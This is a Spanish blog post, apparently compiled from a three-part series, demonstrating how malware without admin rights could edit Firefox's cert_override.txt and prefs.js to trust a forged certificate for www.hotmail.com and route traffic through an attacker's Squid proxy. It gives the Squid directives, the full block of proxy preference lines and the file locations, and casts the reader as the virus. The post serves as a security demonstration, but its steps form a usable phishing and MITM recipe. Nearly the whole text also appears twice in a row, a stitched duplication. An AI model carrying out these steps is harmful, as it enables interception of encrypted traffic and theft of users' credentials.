MITM https con Certificados Falsos a nivel de usuario en Firefox
Estaba el otro día oyendo hablar sobre cómo los gobiernos pueden interceptar y descifrar el tráfico SSL y, en particular, el Http-S. Resumiendo, todo se trata de que llega el gobierno de turno a una Autoridad Emisora Raíz de Confianza y le dice "o me das un Certificado de Entidad Intermedia Emisora de Certificados o se te va a caer el pelo". Y, claro, cuando tu gobierno te pide las cosas con educación, hay que ser muy poco patriota para negarse.
Al final, ese gobierno podría emitir certificados a nombre de cualquier sitio web que se le ocurra. Y los navegadores aceptarían dichos certificados como válidos. El resto del ataque sería un MITM de los de toda la vida.
Pero como me cuesta mucho mantener la atención fija en una sola cosa, mientras escuchaba el programa mi cabeza se fue por los cerros de Úbeda. Y pensé en algo de lo que me extraña no haber oído antes en relación con los virus y el phishing:
Supongamos que tu ordenador ha pillado un virus. Y que el virus te modifica la configuración del navegador para que acepte un certificado falso para un banco. ¿Es posible que esto ocurra?. Esta técnica sería el complemento ideal para el malware que sigue realizando ataques a los ficheros hosts del sistema. Es decir, redirigir un dominio a otra IP y además certificarlo digitalmente.
Pues sí. Y no es necesario que el usuario atacado disponga de privilegios de administrador. En las siguientes pruebas se usó Firefox, que usa ficheros de texto plano para su configuración de excepciones ante errores de certificados, si bien las conclusiones que se obtengan posiblemente puedan aplicarse también al resto de los navegadores.
Para hacer la prueba, primero vamos a montar un entorno completo. En segundo lugar vamos a añadir una excepción al certificado en Firefox manualmente para, en tercer luegar, manipular el fichero de excepciones de la víctima y ver su funcionamiento. Como se podrá ver, el cliente usa Windows XP y las rutas a ficheros cambian en otros sistemas operativos, pero en esencia el funcioamiento es similar.
Paso 1: Preparar un servidor Web falso con http-s
Pueden encontrarse las instrucciones detalladas de cómo hacerlo con WampServer aquí . Como puede observarse en la imagen, el certificado que vamos a utilizar para certificar a este sitio es más falso que unos auriculares de todo a cien:
Figura 1: Certificado digital del sitio
Ni está firmado por ninguna autoridad reconocida ni se corresponde con ningún equipo ni dominio válido. Vamos, como para confiar en él.
Posteriormente se configura un servidor proxy que, cuando el usuario intenta acceder a www.hotmail.com le redirije al servidor web malicioso. Para ello se usa en este caso Squid. Resumiendo, en el fichero hosts de este servidor se asocia a www.hotmail.com la IP de nuestra web maliciosa. Después se indica al squid la ubicación del fichero hosts con una línea como sigue:
hosts_file c:/windows/system32/drivers/etc/hosts
Si el servidor squid sale a Internet a través de otro proxy, será necesario configurarlo mediante la directiva cache_peer. Después, será necesario indicarle que debe hacer una excepción con el sitio web a suplantar:
acl directamente dstdomain www.hotmail.com
always_direct allow directamente
En el equipo con el servidor web falso, arrancamos Firefox y navegamos a la URL https://localhost de la máquina para ver la excepción que se genera. Como es natural, Firefox se queja. Pero como toda queja merece atención, hacemos clic en "Entiendo los riesgos" y, después, en "Añadir excepción".
Figura 2: Excepción de certificado digital
Puede observarse la causa de la queja: El certificado se corresponde con otro sitio web y, además no ha sido verificado por una autoridad reconocida. Poca cosa.
Figura 3: Error en el certificado digital
Ahora que hemos oído sus quejas, llegó el momento de decirle a Firefox: "Si no te fías, te aguantas". Asegurándonos de tener activada la opción "Guardar esta excepción de manera permanente", hacemos clic en "Confirmar excepción de Seguridad". Y ya podemos ver el contenido de la web con https usando un certificado de palo malo. Hasta aquí nada nuevo bajo el sol.
Figura 4: Sitio web con https
La pregunta es, ¿qué ha cambiado por debajo Firefox para que ya no dé ningún mensaje de error más con este sitio? ¿dónde están los cambios? ¿Qué podría hacer un malware para conseguir el mismo objetivo con un ataque de pharming? ¿Se podrán hacer esos cambios sin ser administrador en el equipo?
Paso 2: Analizar los cambios en el equipo
La excepción que acabamos de añadir se almacena en el fichero de texto "cert_override.txt" que, en Windows XP, se almacena en:
%USERPROFILE%\Datos de programa\Mozilla\Firefox\Profiles\
En Windows 7, este fichero se encuentra situado en la ruta:
c:\users\\appdata\roaming\mozilla\firefox\profiles\
Figura 5: Fichero cert_override.txt en Windows 7
Si se desea obtener la información sobre los perfiles, se puede consultar el fichero:
%USERPROFILE%\Datos de programa\Mozilla\Firefox\profiles.ini
En el caso que nos ocupa, el fichero cert_override.txt quedó así:
Figura 6: cert_override.txt con excepción añadida
Si alguien desea saber qué campos componen las líneas del fichero, cómo se codifican, etc., puede obtener información en la web de Mozilla: Cert_Override.txt
De todos modos, para lo que vamos a hacer no necesitamos saber más, ya que será suficiente con clonar el comportamiento en la máquina víctima suponiendo el comportamiento que podría tener un malware. Exactamente. Imagina que eres un virus. O un programa que se ejecuta gracias a una vulnerabilidad del lector de PDF de turno. ¿Qué harías?
Paso 3: Replicando el comportamiento
Para poner las cosas aún más difíciles, supongamos que tienes que arreglártelas sin privilegios de administrador del sistema. O sea, como si fueras un usuario "pelao y mondao". ¡Tú que en otros tiempos tenías los privilegios de un admin!
Con estos privilegios no puedes modificar los ficheros del sistema operativo, pero siempre podrás alterar los del perfil del usuario que pilló el malware. Y entre esos ficheros se encuentran los que configuran su perfil de Firefox.
En primer lugar, un malware podría consultar el fichero:
%USERPROFILE%\Datos de programa\Mozilla\Firefox\profiles.ini
Figura 7: Profiles.ini
Y ahora sabría que los ficheros de configuración del perfil de Firefox están en:
%USERPROFILE%\Datos de programa\Mozilla\Firefox\Profiles\98qmynwh.default
En esa carpeta hay muchos ficheros, pero dee ellos, al virus sólo le interesarían dos:
- cert_override.txt
- prefs.js
Vayamos por partes. En primer lugar, editemos el fichero cert_override.txt de nuestra víctima, de forma que acepte el certificado falso cuando visite https://www.hotmail.com .
Como ya vimos, en las pruebas que hicimos en el ordenador del atacante teníamos el siguiente fichero cert_override.txt
Figura 8: cert_override.txt. Se debe anotar el contenido de la tercera línea
En este ejemplo, la tercera línea es la que almacena la información de la excepción relativa al certificado utilizado por nuestro sitio, que queremos asociar al nombre de dominio www.hotmail.com , para completar algún bonito ataque MITM con suplantación de DNS, por ejemplo. Mientras que ese certificado no se cambie, esta línea habilita la conexión como de confianza debido a la excepción generada.
Si la víctima no tiene el fichero cert_override en su perfil, entonces deberá ser creado. Y ahora se añade al final de este archivo el contenido de nuestra línea de excepción, todo igual que la que obtuvimos antes, pero modificando el nombre del host de forma que nos valga para Hotmail:
Figura 9: cert_override.txt editado
Paso 3: Replicando el comportamiento (continuación)
Y ahora editemos el fichero prefs.js y añadamos o modifiquemos las líneas que configuran el Proxy:
user_pref("network.proxy.backup.ftp", "");
user_pref("network.proxy.backup.ftp_port", 0);
user_pref("network.proxy.backup.gopher", "");
user_pref("network.proxy.backup.gopher_port", 0);
user_pref("network.proxy.backup.socks", "");
user_pref("network.proxy.backup.socks_port", 0);
user_pref("network.proxy.backup.ssl", "");
user_pref("network.proxy.backup.ssl_port", 0);
user_pref("network.proxy.ftp", "192.168.192.168");
user_pref("network.proxy.ftp_port", 3128);
user_pref("network.proxy.gopher", "192.168.192.168");
user_pref("network.proxy.gopher_port", 3128);
user_pref("network.proxy.http", "192.168.192.168");
user_pref("network.proxy.http_port", 3128);
user_pref("network.proxy.share_proxy_settings", true);
user_pref("network.proxy.socks", "192.168.192.168");
user_pref("network.proxy.socks_port", 3128);
user_pref("network.proxy.ssl", "192.168.192.168");
user_pref("network.proxy.ssl_port", 3128);
user_pref("network.proxy.type", 1);
NOTA: habría que cambiar 192.168.192.168 por la IP del servidor proxy configurado en el Paso 1.
Figura 10: Cambios en prefs.js
Con estos cambios se modificaría la configuración del acceso a Internet de Firefox para que se conecte a través de nuestro proxy malvado y así podamos redirigirlo a nuestro sitio malicioso.
Y ahora sólo queda esperar a que el usuario infectado trate de visitar https://www.hotmail.com y, como era de esperar, Firefox acepta el certificado sin quejarse y permite que el proxy lleve al usuario a nuestro sitio malicioso a la primera.
Figura 11: Hotmail certificado mediante una excepción añadida manualmente
El usuario, confiado, no tiene razones para sospechar que ha sido engañado. Al fin y al cabo, está usando HTTPS y el navegador acepta el certificado. ¿No es eso lo que los "expertos" en seguridad (con y sin comillas) nos han venido diciendo desde hace años que hay que comprobar?
Y, si se desea, se pueden poner más líneas de excepciones con el mismo certificado en el cert_override.txt. Tantas como se desee y a nombre de los sitios que nos plazca. Basta con ir cambiando el nombre de equipo con el que comienza la línea.
Como virus, me siento más que realizado. Mi amo puede ahora realizar ataques de MITM para interceptar y descifrar el tráfico cifrado de su víctima. También puede realizar ataques de phishing a mansalva. Y todo ello sin ocasionar demasiadas molestias a sus víctimas.
Conclusiones
En nuestro ejemplo hemos añadido una excepción, pero sería cosa de probar y ver cómo añadir, por ejemplo, una entidad emisora raíz de confianza que ayudaría a hacer el ataque mucho más permanente.
Por otro lado las pruebas se han realizado usando Firefox sobre Windows, pero no debe existir demasiadas diferencias a la hora de atacar a víctimas con Linux o Mac y, posiblemente, también otros navegadores puedan sufrir de este tipo de sencillos ataques.
Finalmente, hay que tener en cuenta y recordar siempre que para estar a salvo no basta con usar cuentas sin privilegios. Eso sí, si consigues los de un administrador, tienes más fácil la redirección al sitio web falso: bastaría con modificar el fichero hosts de la víctima al old-fashined style. También te sería todo más sencillo si estás en condiciones de hacer un ARP-Poisoning. Todo ello, suponiendo que estás pensando en hacer cosas malas, que no creo que sea el caso.
En cuanto a la seguridad que nos ofrece SSL y HTTPS, sus garantías para la privacidad, etcétera, si es que confiáis aún en ellas.. mejor ¡Que tengáis suerte!
Información extraída de:
MITM https con Certificados Falsos a nivel de usuario en Firefox (1 de 3)
MITM https con Certificados Falsos a nivel de usuario en Firefox (2 de 3)
MITM https con Certificados Falsos a nivel de usuario en Firefox (3 de 3)
Al final, ese gobierno podría emitir certificados a nombre de cualquier sitio web que se le ocurra. Y los navegadores aceptarían dichos certificados como válidos. El resto del ataque sería un MITM de los de toda la vida.
Pero como me cuesta mucho mantener la atención fija en una sola cosa, mientras escuchaba el programa mi cabeza se fue por los cerros de Úbeda. Y pensé en algo de lo que me extraña no haber oído antes en relación con los virus y el phishing:
Supongamos que tu ordenador ha pillado un virus. Y que el virus te modifica la configuración del navegador para que acepte un certificado falso para un banco. ¿Es posible que esto ocurra?. Esta técnica sería el complemento ideal para el malware que sigue realizando ataques a los ficheros hosts del sistema. Es decir, redirigir un dominio a otra IP y además certificarlo digitalmente.
Pues sí. Y no es necesario que el usuario atacado disponga de privilegios de administrador. En las siguientes pruebas se usó Firefox, que usa ficheros de texto plano para su configuración de excepciones ante errores de certificados, si bien las conclusiones que se obtengan posiblemente puedan aplicarse también al resto de los navegadores.
Para hacer la prueba, primero vamos a montar un entorno completo. En segundo lugar vamos a añadir una excepción al certificado en Firefox manualmente para, en tercer luegar, manipular el fichero de excepciones de la víctima y ver su funcionamiento. Como se podrá ver, el cliente usa Windows XP y las rutas a ficheros cambian en otros sistemas operativos, pero en esencia el funcioamiento es similar.
Paso 1: Preparar un servidor Web falso con http-s
Pueden encontrarse las instrucciones detalladas de cómo hacerlo con WampServer aquí
Figura 1: Certificado digital del sitio
Ni está firmado por ninguna autoridad reconocida ni se corresponde con ningún equipo ni dominio válido. Vamos, como para confiar en él.
Posteriormente se configura un servidor proxy que, cuando el usuario intenta acceder a www.hotmail.com
hosts_file c:/windows/system32/drivers/etc/hosts
Si el servidor squid sale a Internet a través de otro proxy, será necesario configurarlo mediante la directiva cache_peer. Después, será necesario indicarle que debe hacer una excepción con el sitio web a suplantar:
acl directamente dstdomain www.hotmail.com
always_direct allow directamente
En el equipo con el servidor web falso, arrancamos Firefox y navegamos a la URL https://localhost de la máquina para ver la excepción que se genera. Como es natural, Firefox se queja. Pero como toda queja merece atención, hacemos clic en "Entiendo los riesgos" y, después, en "Añadir excepción".
Figura 2: Excepción de certificado digital
Puede observarse la causa de la queja: El certificado se corresponde con otro sitio web y, además no ha sido verificado por una autoridad reconocida. Poca cosa.
Figura 3: Error en el certificado digital
Ahora que hemos oído sus quejas, llegó el momento de decirle a Firefox: "Si no te fías, te aguantas". Asegurándonos de tener activada la opción "Guardar esta excepción de manera permanente", hacemos clic en "Confirmar excepción de Seguridad". Y ya podemos ver el contenido de la web con https usando un certificado de palo malo. Hasta aquí nada nuevo bajo el sol.
Figura 4: Sitio web con https
La pregunta es, ¿qué ha cambiado por debajo Firefox para que ya no dé ningún mensaje de error más con este sitio? ¿dónde están los cambios? ¿Qué podría hacer un malware para conseguir el mismo objetivo con un ataque de pharming? ¿Se podrán hacer esos cambios sin ser administrador en el equipo?
Paso 2: Analizar los cambios en el equipo
La excepción que acabamos de añadir se almacena en el fichero de texto "cert_override.txt" que, en Windows XP, se almacena en:
%USERPROFILE%\Datos de programa\Mozilla\Firefox\Profiles\
En Windows 7, este fichero se encuentra situado en la ruta:
c:\users\\appdata\roaming\mozilla\firefox\profiles\
Figura 5: Fichero cert_override.txt en Windows 7
Si se desea obtener la información sobre los perfiles, se puede consultar el fichero:
%USERPROFILE%\Datos de programa\Mozilla\Firefox\profiles.ini
En el caso que nos ocupa, el fichero cert_override.txt quedó así:
Figura 6: cert_override.txt con excepción añadida
Si alguien desea saber qué campos componen las líneas del fichero, cómo se codifican, etc., puede obtener información en la web de Mozilla: Cert_Override.txt
De todos modos, para lo que vamos a hacer no necesitamos saber más, ya que será suficiente con clonar el comportamiento en la máquina víctima suponiendo el comportamiento que podría tener un malware. Exactamente. Imagina que eres un virus. O un programa que se ejecuta gracias a una vulnerabilidad del lector de PDF de turno. ¿Qué harías?
Paso 3: Replicando el comportamiento
Para poner las cosas aún más difíciles, supongamos que tienes que arreglártelas sin privilegios de administrador del sistema. O sea, como si fueras un usuario "pelao y mondao". ¡Tú que en otros tiempos tenías los privilegios de un admin!
Con estos privilegios no puedes modificar los ficheros del sistema operativo, pero siempre podrás alterar los del perfil del usuario que pilló el malware. Y entre esos ficheros se encuentran los que configuran su perfil de Firefox.
En primer lugar, un malware podría consultar el fichero:
%USERPROFILE%\Datos de programa\Mozilla\Firefox\profiles.ini
Figura 7: Profiles.ini
Y ahora sabría que los ficheros de configuración del perfil de Firefox están en:
%USERPROFILE%\Datos de programa\Mozilla\Firefox\Profiles\98qmynwh.default
En esa carpeta hay muchos ficheros, pero dee ellos, al virus sólo le interesarían dos:
- cert_override.txt
- prefs.js
Vayamos por partes. En primer lugar, editemos el fichero cert_override.txt de nuestra víctima, de forma que acepte el certificado falso cuando visite https://www.hotmail.com
Como ya vimos, en las pruebas que hicimos en el ordenador del atacante teníamos el siguiente fichero cert_override.txt
Figura 8: cert_override.txt. Se debe anotar el contenido de la tercera línea
En este ejemplo, la tercera línea es la que almacena la información de la excepción relativa al certificado utilizado por nuestro sitio, que queremos asociar al nombre de dominio www.hotmail.com
Si la víctima no tiene el fichero cert_override en su perfil, entonces deberá ser creado. Y ahora se añade al final de este archivo el contenido de nuestra línea de excepción, todo igual que la que obtuvimos antes, pero modificando el nombre del host de forma que nos valga para Hotmail:
Figura 9: cert_override.txt editado
Paso 3: Replicando el comportamiento (continuación)
Y ahora editemos el fichero prefs.js y añadamos o modifiquemos las líneas que configuran el Proxy:
user_pref("network.proxy.backup.ftp", "");
user_pref("network.proxy.backup.ftp_port", 0);
user_pref("network.proxy.backup.gopher", "");
user_pref("network.proxy.backup.gopher_port", 0);
user_pref("network.proxy.backup.socks", "");
user_pref("network.proxy.backup.socks_port", 0);
user_pref("network.proxy.backup.ssl", "");
user_pref("network.proxy.backup.ssl_port", 0);
user_pref("network.proxy.ftp", "192.168.192.168");
user_pref("network.proxy.ftp_port", 3128);
user_pref("network.proxy.gopher", "192.168.192.168");
user_pref("network.proxy.gopher_port", 3128);
user_pref("network.proxy.http", "192.168.192.168");
user_pref("network.proxy.http_port", 3128);
user_pref("network.proxy.share_proxy_settings", true);
user_pref("network.proxy.socks", "192.168.192.168");
user_pref("network.proxy.socks_port", 3128);
user_pref("network.proxy.ssl", "192.168.192.168");
user_pref("network.proxy.ssl_port", 3128);
user_pref("network.proxy.type", 1);
NOTA: habría que cambiar 192.168.192.168 por la IP del servidor proxy configurado en el Paso 1.
Figura 10: Cambios en prefs.js
Con estos cambios se modificaría la configuración del acceso a Internet de Firefox para que se conecte a través de nuestro proxy malvado y así podamos redirigirlo a nuestro sitio malicioso.
Y ahora sólo queda esperar a que el usuario infectado trate de visitar https://www.hotmail.com
Figura 11: Hotmail certificado mediante una excepción añadida manualmente
El usuario, confiado, no tiene razones para sospechar que ha sido engañado. Al fin y al cabo, está usando HTTPS y el navegador acepta el certificado. ¿No es eso lo que los "expertos" en seguridad (con y sin comillas) nos han venido diciendo desde hace años que hay que comprobar?
Y, si se desea, se pueden poner más líneas de excepciones con el mismo certificado en el cert_override.txt. Tantas como se desee y a nombre de los sitios que nos plazca. Basta con ir cambiando el nombre de equipo con el que comienza la línea.
Como virus, me siento más que realizado. Mi amo puede ahora realizar ataques de MITM para interceptar y descifrar el tráfico cifrado de su víctima. También puede realizar ataques de phishing a mansalva. Y todo ello sin ocasionar demasiadas molestias a sus víctimas.
Conclusiones
En nuestro ejemplo hemos añadido una excepción, pero sería cosa de probar y ver cómo añadir, por ejemplo, una entidad emisora raíz de confianza que ayudaría a hacer el ataque mucho más permanente.
Por otro lado las pruebas se han realizado usando Firefox sobre Windows, pero no debe existir demasiadas diferencias a la hora de atacar a víctimas con Linux o Mac y, posiblemente, también otros navegadores puedan sufrir de este tipo de sencillos ataques.
Finalmente, hay que tener en cuenta y recordar siempre que para estar a salvo no basta con usar cuentas sin privilegios. Eso sí, si consigues los de un administrador, tienes más fácil la redirección al sitio web falso: bastaría con modificar el fichero hosts de la víctima al old-fashined style. También te sería todo más sencillo si estás en condiciones de hacer un ARP-Poisoning. Todo ello, suponiendo que estás pensando en hacer cosas malas, que no creo que sea el caso.
En cuanto a la seguridad que nos ofrece SSL y HTTPS, sus garantías para la privacidad, etcétera, si es que confiáis aún en ellas.. mejor ¡Que tengáis suerte!
Información extraída de:
MITM https con Certificados Falsos a nivel de usuario en Firefox (1 de 3)
MITM https con Certificados Falsos a nivel de usuario en Firefox (2 de 3)
MITM https con Certificados Falsos a nivel de usuario en Firefox (3 de 3)
Comentarios
Publicar un comentario
Siéntase libre de dejar su comentario a continuación...